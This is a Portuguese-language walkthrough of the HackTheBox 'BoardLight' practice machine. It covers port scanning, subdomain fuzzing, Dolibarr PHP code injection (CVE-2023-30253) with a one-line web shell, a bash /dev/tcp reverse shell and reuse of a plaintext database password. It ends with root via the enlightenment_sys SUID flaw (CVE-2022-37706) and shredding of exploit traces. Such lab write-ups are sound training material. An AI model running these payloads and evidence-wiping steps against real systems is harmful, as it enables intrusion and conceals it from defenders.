BoardLight
#easy #HackTheBox #Linux #eJPT #eWPT
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
┌─[root@parrot]─[/home/bruno/CTF]
└──╼ #ping -c 1 10.10.11.11
PING 10.10.11.11 (10.10.11.11) 56(84) bytes of data.
64 bytes from 10.10.11.11: icmp_seq=1 ttl=63 time=41.3 ms
--- 10.10.11.11 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 41.346/41.346/41.346/0.000 msVarredura de Portas
Com a conectividade confirmada, o próximo passo é realizar uma varredura de portas abertas no alvo para identificar serviços expostos que possam ser vulneráveis a ataques.
Portscan Completo com Nmap
Iniciamos um scan com Nmap, utilizando a técnica de SYN Scan (-sS) para detecção rápida de portas TCP abertas e escaneamos todas as 65535 portas (-p-). O parâmetro --min-rate=5000 é utilizado para acelerar a varredura, forçando o envio de pelo menos 5000 pacotes por segundo.
┌──[root@parrot]─[/home/bruno/CTF]
└──╼ #nmap 10.10.11.11 -sS -p- --min-rate=5000 -vv -n -Pn -oG tcp-ports.txt
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63Detecção de Serviços
Agora que identificamos as portas abertas, realizamos um escaneamento mais detalhado com o Nmap, usando a opção -sCV para detectar versões de serviços e realizar scripts básicos de detecção de vulnerabilidades. Aqui nos concentramos nas portas 22 (SSH) e 80 (HTTP).
┌─[root@parrot]─[/home/bruno/CTF]
└──╼ #nmap 10.10.11.11 -sCV -p 22,80 -vv -n -Pn -oN tcp-scan.txt
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH0dV4gtJNo8ixEEBDxhUId6Pc/8iNLX16+zpUCIgmxxl5TivDMLg2JvXorp4F2r8ci44CESUlnMHRSYNtlLttiIZHpTML7ktFHbNexvOAJqE1lIlQlGjWBU1hWq6Y6n1tuUANOd5U+Yc0/h53gKu5nXTQTy1c9CLbQfaYvFjnzrR3NQ6Hw7ih5u3mEjJngP+Sq+dpzUcnFe1BekvBPrxdAJwN6w+MSpGFyQSAkUthrOE4JRnpa6jSsTjXODDjioNkp2NLkKa73Yc2DHk3evNUXfa+P8oWFBk8ZXSHFyeOoNkcqkPCrkevB71NdFtn3Fd/Ar07co0ygw90Vb2q34cu1Jo/1oPV1UFsvcwaKJuxBKozH+VA0F9hyriPKjsvTRCbkFjweLxCib5phagHu6K5KEYC+VmWbCUnWyvYZauJ1/t5xQqqi9UWssRjbE1mI0Krq2Zb97qnONhzcclAPVpvEVdCCcl0rYZjQt6VI1PzHha56JepZCFCNvX3FVxYzEk=
| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK7G5PgPkbp1awVqM5uOpMJ/xVrNirmwIT21bMG/+jihUY8rOXxSbidRfC9KgvSDC4flMsPZUrWziSuBDJAra5g=
| 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILHj/lr3X40pR3k9+uYJk4oSjdULCK0DlOxbiL66ZRWg
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelAnálise dos Serviços:
SSH (OpenSSH 8.2p1): O SSH está rodando a versão OpenSSH 8.2p1, que pertence à distribuição Ubuntu. Dependendo da configuração, pode haver brechas a serem exploradas, como permissões mal configuradas ou senhas fracas.
HTTP (Apache 2.4.41): O servidor web é o Apache 2.4.41, também da distribuição Ubuntu. Esta versão específica pode ser propensa a algumas vulnerabilidades conhecidas, que podem ser pesquisadas para determinar a possibilidade de exploração.
Determinando o Sistema Operacional
Com base nas versões de software detectadas (OpenSSH e Apache), podemos inferir que o alvo está rodando uma versão do Ubuntu Focal (20.04 LTS), conforme o mapeamento de versões encontrado no Launchpad, que é a plataforma de desenvolvimento do Ubuntu:
OpenSSH 8.2p1 está listado no Ubuntu Focal: https://launchpad.net/ubuntu/+source/openssh/1:8.2p1-4ubuntu0.11
Apache 2.4.41 também corresponde à versão distribuída no Focal: https://launchpad.net/ubuntu/focal/amd64/apache2/2.4.41-1ubuntu1
Esta informação pode ser útil para direcionar ataques, procurar vulnerabilidades específicas dessa versão do sistema operacional ou precipitar se o alvo possivelmente está a utilizar containers caso os codenames fossem distintos.
Exploração do Serviço HTTP
Para começar, usamos o WhatWeb, uma ferramenta para análise de sites que nos permite obter informações sobre as tecnologias utilizadas e outros metadados do servidor.
┌─[root@parrot]─[/home/bruno/CTF]
└──╼ #whatweb http://10.10.11.11
http://10.10.11.11 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[info@board.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.11], JQuery[3.4.1], Script[text/javascript], X-UA-Compatible[IE=edge]O servidor web está rodando o Apache 2.4.41, confirmando nossa descoberta anterior com o Nmap.
O ponto mais importante aqui é a identificação de um e-mail relacionado ao domínio "board.htb":
info@board.htb. Isso sugere que o servidor tem um domínio configurado e, possivelmente, subdomínios relacionados. Portanto, a próxima etapa é testar esses subdomínios e configurá-los para nossa análise.
Configurando o Host no Sistema
Com base na descoberta do domínio board.htb, ajustamos nosso arquivo de hosts para que o domínio resolva corretamente no IP do alvo. Isso é crucial para garantir que as requisições HTTP que fazemos ao servidor sejam direcionadas corretamente.
┌─[root@parrot]─[/home/bruno/CTF]
└──╼ #echo -e "10.10.11.11\tboard.htb" | tee -a /etc/hosts
10.10.11.11 board.htbAgora, podemos verificar se o domínio está resolvendo corretamente através de um simples ping:
┌─[root@parrot]─[/home/bruno/CTF]
└──╼ #ping -c 1 board.htb
PING board.htb (10.10.11.11) 56(84) bytes of data.
64 bytes from board.htb (10.10.11.11): icmp_seq=1 ttl=63 time=40.2 ms
--- board.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 40.173/40.173/40.173/0.000 msIsso confirma que o domínio board.htb agora está mapeado corretamente para o IP 10.10.11.11 e está pronto para ser acessado diretamente.
Quando acessamos o domínio via navegador, vemos que ele se apresenta como o site de uma empresa de cibersegurança. Embora, à primeira vista, o site possa parecer inofensivo, isso não exclui a possibilidade de vulnerabilidades escondidas ou de que existam páginas ou funcionalidades não visíveis que possam ser exploradas.
Fuzzing de Subdomínios (Virtual Hosts)
Para ampliar a superfície de ataque, usamos a técnica de fuzzing de subdomínios, tentando descobrir subdomínios ocultos que possam oferecer serviços ou informações adicionais. Para isso, utilizamos a ferramenta FFUF (Fuzz Faster U Fool), que nos permite testar uma lista de palavras contra subdomínios do alvo, configurando o cabeçalho Host para diferentes possíveis entradas.
┌─[root@parrot]─[/home/bruno/CTF]
└──╼ #ffuf -c -ic -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u "http://board.htb" -H "Host: FUZZ.board.htb" -fs 15949 -t 100 -of html -o fuzzVHOST.html
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://board.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.board.htb
:: Output file : fuzzVHOST.html
:: File format : html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 15949
________________________________________________
crm [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 580ms]Como resultado, encontramos o subdomínio crm.board.htb, que retorna um status HTTP 200 OK, indicando que é uma página válida e potencialmente acessível. Esse subdomínio pode ser uma aplicação de gerenciamento de relacionamento com o cliente (CRM), o que pode conter informações sensíveis ou ser vulnerável a ataques direcionados.
Configurando o Novo Subdomínio no Hosts
Para podermos explorar o subdomínio crm.board.htb, devemos adicioná-lo ao arquivo de hosts, assim como fizemos anteriormente com o domínio principal.
┌─[root@parrot]─[/home/bruno/CTF]
└──╼ #tail -n 1 /etc/hosts
10.10.11.11 board.htb crm.board.htbAgora, o domínio crm.board.htb está resolvido corretamente, e podemos acessá-lo no navegador ou fazer requisições diretamente via ferramentas de exploração. Acessando o subdomínio crm.board.htb, vemos que ele hospeda um CRM Dolibarr versão 17.0.0, uma plataforma de gerenciamento de negócios com várias funcionalidades, como CRM e gestão de vendas.
Busca por Vulnerabilidades
Ao identificar que o Dolibarr estava rodando na versão 17.0.0, podemos perceber em seu repositório no GitHub que esta versão já está bem defasada: https://github.com/Dolibarr/dolibarr.
Pesquisei vulnerabilidades conhecidas para esta versão, e logo encontrei o CVE-2023-30253, uma vulnerabilidade de injeção de código PHP. No entanto, para explorá-la, era necessário primeiro obter credenciais de login.
Sabendo disso, realizei uma busca sobre credenciais padrão do Dolibarr, e encontrei no fórum oficial que as credenciais “admin:admin” poderiam funcionar em instalações padrão.
Testei essas credenciais e, embora a interface se comportasse de forma um pouco estranha, consegui acessar o painel como administrador.
Explorando Dolibarr via CVE-2023-30253
Há diversas coisas para enumerar, mas antes, vamos usar algum exploit para testar se o CVE-2023-30253 é funcional neste alvo.
Primeiro, baixei um exploit do GitHub para este CVE:
┌─[root@parrot]─[/home/bruno/CTF]
└──╼ #wget https://raw.githubusercontent.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253/refs/heads/main/exploit.py
exploit.py 100%[============================================================>] 15,90K --.-KB/s in 0,001s Ao tentar executar o exploit, o seguinte comando foi usado para dispará-lo, no entanto, houve um erro que impediu a execução correta do exploit:
┌─[✗]─[root@parrot]─[/home/bruno/CTF]
└──╼ #python3 exploit.py http://crm.board.htb/ admin admin 10.10.14.200 443
[*] Trying authentication...
[**] Login: admin
[**] Password: changeme
[*] Trying created site...
Traceback (most recent call last):
...
socket.gaierror: [Errno -2] Name or service not knownEsse erro indicava que algo estava errado com a tentativa automática de exploração. Diante disso, decidi analisar o código do exploit manualmente para entender como ele funcionava e tentar replicar a exploração de forma manual.
Criação de um site dentro do CRM Dolibarr: O exploit acessa a página
http://crm.board.htb/website/index.php?action=createsite, permitindo a criação de um novo site diretamente pelo painel administrativo. Naveguei manualmente até esta URL e criei um site simples, conforme ilustrado:
Adicionando uma nova página ao site criado: Após criar o site, o exploit adiciona uma página ao site, clicando no botão de “+” no painel. Novamente, fiz isso manualmente.
Inserção de código PHP malicioso na página criada: Em seguida, o exploit injeta código PHP malicioso na página criada, permitindo a execução de comandos. Usei a funcionalidade “Edit HTML Source” para editar o HTML da página e inseri o seguinte código PHP simples para testar a execução de comandos:
<?pHp echo "Hello Haxor!"; ?>
O bypass ocorre colocando um “H” maiúsculo em “pHp”. Verificação da execução de código: Após salvar a página, pude acessar a URL do site criado e verificar que o código foi executado com sucesso:
http://crm.board.htb/public/website/index.php?website=haxor&pageref=page Isso confirmou que o código PHP estava sendo executado corretamente, exibindo a mensagem "Hello Haxor!".
Execução Remota de Comandos (RCE)
Agora que eu já tinha confirmado a execução de código PHP, o próximo passo foi explorar essa vulnerabilidade para permitir a execução de comandos remotos.
Injeção de código PHP para execução de comandos: Alterei o código PHP na página criada para permitir a execução de comandos remotos através de um parâmetro
cmd. O código foi modificado para o seguinte:<?pHp echo system($_REQUEST['cmd']); ?>
Testando execução de comandos: Usando o parâmetro
cmd, enviei um comando simples (whoami) para verificar se era possível executar comandos no sistema:O retorno foi
www-data, confirmando que eu tinha capacidade de executar comandos no servidor com permissões do usuário da web.
Reverse Shell para Ganho de Acesso ao Alvo
Com a execução de comandos remotos funcionando, pude então iniciar um ataque de reverse shell para obter acesso direto ao sistema alvo.
Preparando o listener: Na minha máquina atacante, preparei um listener usando o Netcat para aguardar a conexão reversa:
┌─[root@parrot]─[/home/bruno/CTF] └──╼ #nc -nlvp 443 listening on [any] 443 ...Enviando a instrução de reverse shell: Usando a execução de comandos remotos, enviei a seguinte instrução para iniciar uma conexão reversa:
bash -c "bash -i >%26 /dev/tcp/10.10.14.200/443 0>%261"
Conexão estabelecida: Assim que o comando foi executado, recebi uma conexão reversa no Netcat, concedendo-me um shell interativo no servidor alvo:
┌─[root@parrot]─[/home/bruno/CTF] └──╼ #nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.200] from (UNKNOWN) [10.10.11.11] 40018 bash: cannot set terminal process group (629): Inappropriate ioctl for device bash: no job control in this shell www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ hostname -I hostname -I 10.10.11.11
Neste ponto, eu tinha controle remoto sobre o servidor e poderia executar comandos diretamente no sistema da vítima.
Upgrade da Shell
Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.
Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de
bashatravés do comandoscript, que abre uma sessão interativa mais apropriada, logo após, colocamos em background comCTRL+Z:www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ script /dev/null -c bash <htb/htdocs/public/website$ script /dev/null -c bash Script started, file is /dev/null www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ ^Z [1]+ Stopped nc -nlvp 443Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
┌─[✗]─[root@parrot]─[/home/bruno/CTF] └──╼ #stty size 21 135Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
┌─[root@parrot]─[/home/bruno/CTF] └──╼ #stty raw -echo; fg nc -nlvp 443 reset xtermDefinindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
<crm.board.htb/htdocs/public/website$ stty rows 21 columns 135 www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ export SHELL=bash TERM=xterm-256color HOME=/etc/skel www-data@boardlight:/var/www/html/crm.board.htb/htdocs/public/website$ bash
Movimentação Lateral
Agora com uma shell interativa adequada, a enumeração do sistema começou.
A primeira descoberta importante foi identificar a versão do sistema operacional utilizado, um Ubuntu Focal, confirmando que o reconhecimento externo do sistema estava correto:
www-data@boardlight:/var/www/html/crm.board.htb/htdocs/public/website$ grep -i codename /etc/*release
/etc/lsb-release:DISTRIB_CODENAME=focal
/etc/os-release:VERSION_CODENAME=focal
/etc/os-release:UBUNTU_CODENAME=focalEm seguida, verifiquei quais usuários estavam habilitados para usar um shell no sistema. Identifiquei dois usuários com console habilitado: root e larissa:
www-data@boardlight:/var/www/html/crm.board.htb/htdocs/public/website$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bashO próximo passo seria tentar mover-se lateralmente para o usuário larissa.
Exposição de Credenciais
Durante a exploração dos arquivos web no diretório do Dolibarr, encontrei um arquivo de configuração que continha credenciais em texto claro.
O arquivo conf.php revelava informações de conexão ao banco de dados, incluindo a senha do usuário dolibarrowner:
www-data@boardlight:/var/www/html/crm.board.htb/htdocs$ cat conf/conf.php
<?php
...
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
...Suspeitando de reutilização de senha, testei a senha encontrada no arquivo conf.php para o usuário larissa.
A suposição estava correta, e consegui migrar para a conta da usuária larissa:
www-data@boardlight:/var/www/html/crm.board.htb/htdocs$ su larissa
Password: serverfun2$2023!!
larissa@boardlight:/var/www/html/crm.board.htb/htdocs$ Vi que a senha também é reutilizada para acesso via SSH:
┌──[root@parrot]─[/home/bruno/CTF]
└──╼ #ssh larissa@board.htb
larissa@board.htb's password: serverfun2$2023!!
larissa@boardlight:~$ Finalmente, após a movimentação lateral bem-sucedida, a user flag foi encontrada no diretório home de larissa:
larissa@boardlight:~$ cat user.txt
a17d1d9842deb28af5c9d735f95735b0Escalada de Privilégios
A escalada de privilégios começou com a busca por arquivos com o bit SUID ativado, que permitiriam executar um binário com privilégios de root.
larissa@boardlight:~$ find / -type f -perm -4000 -ls 2>/dev/null
2491 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
608 16 -rwsr-sr-x 1 root root 14488 Apr 8 2024 /usr/lib/xorg/Xorg.wrap
17633 28 -rwsr-xr-x 1 root root 26944 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
17628 16 -rwsr-xr-x 1 root root 14648 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
17627 16 -rwsr-xr-x 1 root root 14648 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
17388 16 -rwsr-xr-x 1 root root 14648 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
2368 52 -rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
5278 468 -rwsr-xr-x 1 root root 477672 Jan 2 2024 /usr/lib/openssh/ssh-keysign
10039 388 -rwsr-xr-- 1 root dip 395144 Jul 23 2020 /usr/sbin/pppd
2211 44 -rwsr-xr-x 1 root root 44784 Feb 6 2024 /usr/bin/newgrp
230 56 -rwsr-xr-x 1 root root 55528 Apr 9 2024 /usr/bin/mount
5609 164 -rwsr-xr-x 1 root root 166056 Apr 4 2023 /usr/bin/sudo
2245 68 -rwsr-xr-x 1 root root 67816 Apr 9 2024 /usr/bin/su
5334 84 -rwsr-xr-x 1 root root 85064 Feb 6 2024 /usr/bin/chfn
231 40 -rwsr-xr-x 1 root root 39144 Apr 9 2024 /usr/bin/umount
5337 88 -rwsr-xr-x 1 root root 88464 Feb 6 2024 /usr/bin/gpasswd
5338 68 -rwsr-xr-x 1 root root 68208 Feb 6 2024 /usr/bin/passwd
375 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
5335 52 -rwsr-xr-x 1 root root 53040 Feb 6 2024 /usr/bin/chsh
484 16 -rwsr-xr-x 1 root root 14728 Oct 27 2023 /usr/bin/vmware-user-suid-wrapperEntre os arquivos listados, me chamou atenção alguns relacionados ao enlightenment, um gerenciador de janelas leve e ambiente de desktop para sistemas Unix. Os binários encontrados é parte de suas utilidades.
larissa@boardlight:~$ ls -la $(which enlightenment)
-rwxr-xr-x 1 root root 2053056 Jan 29 2020 /usr/bin/enlightenmentEscalando Privilégios via CVE-2022-37706
O próximo passo foi verificar a versão do binário enlightenment no sistema alvo:
larissa@boardlight:~$ /usr/bin/enlightenment -version
...
Version: 0.23.1
E: Begin Shutdown Procedure!Apesar de não ser a versão mais recente, uma pesquisa revelou que a versão 0.25.3 do Enlightenment possui uma vulnerabilidade de escalada de privilégios, identificada como CVE-2022-37706, que poderia ser explorada para ganhar acesso root em sistemas onde o binário possui o bit SUID.
Como a versão encontrada no alvo é anterior à versão corrigida, havia a possibilidade de o exploit funcionar.
Execução do Exploit
Lendo o exploit, resolvi seguir sua exploração manualmente:
Vamos precisar do binário
enlightenment_syscom permissão SUID, o que já vimos anteriormente que existe.Preparação do ambiente: Criei diretórios temporários e configurei o exploit:
larissa@boardlight:~$ mkdir -p /tmp/net larissa@boardlight:~$ mkdir -p "/dev/../tmp/;/tmp/exploit" larissa@boardlight:~$ echo "/bin/sh" > /tmp/exploit larissa@boardlight:~$ chmod a+x /tmp/exploitExecução do binário enlightenment_sys: O binário
enlightenment_sysfoi então executado, usando os parâmetros necessários para montar o diretório temporário e executar o shell/bin/sh. Após a execução bem-sucedida do exploit, confirmei que o usuário atual havia sido elevado para root:larissa@boardlight:~$ /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net mount: /dev/../tmp/: can't find in /etc/fstab. # whoami root
Limpando as Evidências
Como boas práticas de pós-exploração, removi as evidências do exploit utilizado para garantir que não houvesse rastros:
# bash
root@boardlight:/home/larissa# shred -zun 5 /tmp/exploit
root@boardlight:/home/larissa# rm -rfd /tmp/net/ Obtendo a Root Flag
Finalmente, o objetivo final do CTF foi atingido com a obtenção da root flag:
root@boardlight:/home/larissa# cat /root/root.txt
7dc18afd32d92fa391dbab5ea5f2f0d7Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.
Atualizado